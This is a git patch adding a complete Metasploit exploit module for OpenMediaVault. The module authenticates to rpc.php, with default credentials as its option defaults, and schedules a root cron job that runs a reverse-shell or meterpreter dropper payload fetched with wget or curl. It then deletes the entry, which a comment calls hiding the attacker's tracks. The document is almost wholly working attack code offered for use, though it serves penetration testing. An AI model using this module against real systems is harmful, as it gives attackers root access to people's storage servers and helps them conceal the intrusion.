From 562e93fe3b82ea6591cc37bcbc5e6747e05e9618 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 2 Jul 2024 14:54:04 +0000 Subject: [PATCH] First release module --- .../http/openmediavault_auth_cron_rce.rb | 323 ++++++++++++++++++ 1 file changed, 323 insertions(+) create mode 100644 modules/exploits/multi/http/openmediavault_auth_cron_rce.rb diff --git a/modules/exploits/multi/http/openmediavault_auth_cron_rce.rb b/modules/exploits/multi/http/openmediavault_auth_cron_rce.rb new file mode 100644 index 000000000000..3d5b6d716590 --- /dev/null +++ b/modules/exploits/multi/http/openmediavault_auth_cron_rce.rb @@ -0,0 +1,323 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution', + 'Description' => %q{ + OpenMediaVault allows an authenticated user to create cron jobs as root on the system. + An attacker can abuse this by sending a POST request via rpc.php to schedule and execute + a cron entry that runs arbitrary commands as root on the system. + All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Brandon Perry ', # Original Discovery + 'Mert BENADAM' # exploit author + ], + 'References' => [ + ['CVE', '2013-3632'], + ['PACKETSTORM', '178526'], + ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632'] + ], + 'DisclosureDate' => '2024-05-08', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget', 'curl'], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 80, + 'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']), + OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']) + ] + ) + end + + def user + datastore['USERNAME'] + end + + def pass + datastore['PASSWORD'] + end + + def login(user, pass, _opts = {}) + print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'data' => { + service: 'Session', + method: 'login', + params: { + username: user.to_s, + password: pass.to_s + }, + options: nil + }.to_json + }) + return true if res && res.code == 200 && res.body.include?('"authenticated":true') + + false + end + + def check_version + print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'data' => { + service: 'System', + method: 'getInformation', + params: nil, + options: { + updatelastaccess: false + } + }.to_json + }) + return nil unless res && res.code == 200 && res.body.include?('"error":null') + + # parse json response and get the version + res_json = res.get_json_document + unless res_json.blank? + # OpenMediaVault v4 has a different json format where index 1 has the version information + version = res_json.dig('response', 1, 'value') + version = res_json.dig('response', 'version') if version.nil? + return version.split('(')[0].gsub(/[[:space:]]/, '') unless version.nil? + end + nil + end + + def apply_config_changes + # Apply OpenMediaVault configuration changes + return send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'data' => { + service: 'Config', + method: 'applyChangesBg', + params: { + modules: [], + force: false + }, + options: nil + }.to_json + }) + end + + def execute_command(cmd, _opts = {}) + post_data = {}.to_json + # depending on the version, adapt the POST request to add a cron payload at the scheduler + if Rex::Version.new(@version_number) >= Rex::Version.new('6.0.15-1') + # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*'] + post_data = { + service: 'Cron', + method: 'set', + params: { + uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4', + enable: true, + execution: 'exactly', + minute: ['*'], + everynminute: false, + hour: ['*'], + everynhour: false, + dayofmonth: ['*'], + everyndayofmonth: false, + month: ['*'], + dayofweek: ['*'], + username: 'root', + command: cmd.to_s, # payload + sendemail: false, + comment: '', + type: 'userdefined' + }, + options: nil + }.to_json + elsif Rex::Version.new(@version_number) <= Rex::Version.new('6.0.14-1') && Rex::Version.new(@version_number) >= Rex::Version.new('3.0.16') + # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*' + post_data = { + service: 'Cron', + method: 'set', + params: { + uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4', + enable: true, + execution: 'exactly', + minute: '*', + everynminute: false, + hour: '*', + everynhour: false, + dayofmonth: '*', + everyndayofmonth: false, + month: '*', + dayofweek: '*', + username: 'root', + command: cmd.to_s, # payload + sendemail: false, + comment: '', + type: 'userdefined' + }, + options: nil + }.to_json + elsif Rex::Version.new(@version_number) <= Rex::Version.new('3.0.15') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0') + # OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined' + post_data = { + service: 'Cron', + method: 'set', + params: { + uuid: 'undefined', + enable: true, + execution: 'exactly', + minute: '*', + everynminute: false, + hour: '*', + everynhour: false, + dayofmonth: '*', + everyndayofmonth: false, + month: '*', + dayofweek: '*', + username: 'root', + command: cmd.to_s, # payload + sendemail: false, + comment: '', + type: 'userdefined' + }, + options: nil + }.to_json + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'data' => post_data + }) + fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null') + + # parse json response and get the uuid of the cron entry + # we need this later to clean up and hide our tracks + @cron_uuid = '' + res_json = res.get_json_document + @cron_uuid = res_json['response']['uuid'] unless res_json.blank? + + # Apply and update cron configuration to trigger payload execution (1 minute) + res = apply_config_changes + fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null') + print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.') + end + + def on_new_session(session) + # try to cleanup cron entry in OpenMediaVault + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'data' => { + service: 'Cron', + method: 'delete', + params: { + uuid: @cron_uuid.to_s + }, + options: nil + }.to_json + }) + if res && res.code == 200 && res.body.include?('"error":null') + # Apply changes and update cron configuration to remove the payload entry + res = apply_config_changes + if res && res.code == 200 && res.body.include?('"error":null') + print_good('Cron payload entry successfully removed.') + else + print_status('Cannot apply the cron changes to remove the payload entry.') + end + else + print_status('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.') + end + super + end + + def check + return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless login(user, pass) + + @version_number = check_version + unless @version_number.nil? + if Rex::Version.new(@version_number) <= Rex::Version.new('7.3.1-1') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0') + return CheckCode::Vulnerable("Version #{@version_number}") + else + return CheckCode::Safe("Version #{@version_number}") + end + end + CheckCode::Safe('Could not retrieve the version information.') + end + + def exploit + unless datastore['AutoCheck'] + if login(user, pass) + @version_number = check_version + fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil? + print_status("Version #{@version_number} detected.") + else + fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.') + end + end + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end +end